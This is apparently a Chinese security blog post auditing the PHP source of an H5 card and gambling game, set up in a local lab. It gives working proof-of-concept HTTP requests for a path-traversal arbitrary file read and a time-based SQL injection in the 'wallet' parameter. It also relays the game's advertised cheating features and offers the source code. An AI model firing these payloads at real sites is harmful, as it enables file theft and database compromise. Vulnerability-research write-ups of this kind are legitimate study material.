点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
项目介绍
环境搭建
代码审计
鉴权分析与前台文件寻找
前台任意文件读取
前台SQL注入
最后
项目介绍
新版H5大圣棋牌游戏源码+搭建教程+支持透视+座位控+防反杀
环境搭建
源码获取见文末
源码下载到本地,采用小皮搭建
然后设置apache伪静态
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php
</IfModule>
修改数据库配置文件
文件:data/conf/db.php
创建对应数据库,导入sql文件
我这里没有配置前台h5,没办法演示前端页面,就正常审源码,部分需要普通用户登录的我会在代码中去掉登录验证代码然后复现漏洞
后台地址:ip:port/admin
账户:admin
密码:查看代码加密逻辑手动在数据库中修改
写个ehco,就可以知道登入后字符串加密的结果,复制在数据库中替换即可
代码审计
鉴权分析与前台文件寻找
基于ThinkCMF开发的后台,思路都一样
鉴权类:application/Common/Controller/AdminbaseController.class.php
上工具
前台任意文件读取
全局搜索file_get_contents
方法
对应文件:
application/Portal/Controller/ThumbController.class.php
在第36行使用file_get_contents方法读取我们传入的$url,这里$url我们完全可控,接着使用file_put_contents把读取到的内容写入到$file_cache中,$file_cache在第23行定义,这里生成文件名的逻辑是固定的,也就是我们可以知道,可以读取任意文件把内容写到指定文件中
测试poc
POST /portal/Thumb/gd HTTP/1.1
Host: 192.168.242.1:9969
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Referer: http://192.168.242.1:9969/admin/index/index
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
height=caigo/../../../../..&url=file:///D:/test.txt&width=caigo
访问文件
前台sql注入
全局搜索where(
对应文件:application/Portal/Controller/HomeController.class.php
接口需要普通用户登录,没配置的话把鉴权代码注释即可
很明显的危险写法,556行执行where($where),$where在第555行定义,拼接了$wallet,这个变量直接传递,没有进行类型转换或者过滤,存在注入
测试poc:
POST /Portal/Home/checkMaxGetHelp HTTP/1.1
Host: 192.168.242.1:9969
Upgrade-Insecure-Requests: 1
Referer: http://192.168.242.1:9969/admin/index/index
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cookie: VPFv3w_think_language=zh-CN; PHPSESSID=lg0v5neeeuuvvhi2sat5lj5073; VPFv3w_admin_username=admin
Content-Type: application/x-www-form-urlencoded
wallet=123') AND (SELECT 3133 FROM (SELECT(SLEEP(5)))MOQf) -- &money=123&days=123
sqlmap
后台还有多处注入,我就不演示了,感兴趣自己下去研究吧
[源码获取]微信公众号回复"新版大圣H5"获取下载地址
原文始发于微信公众号(菜狗安全):【PHP代审】新版H5大圣棋牌游戏源码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论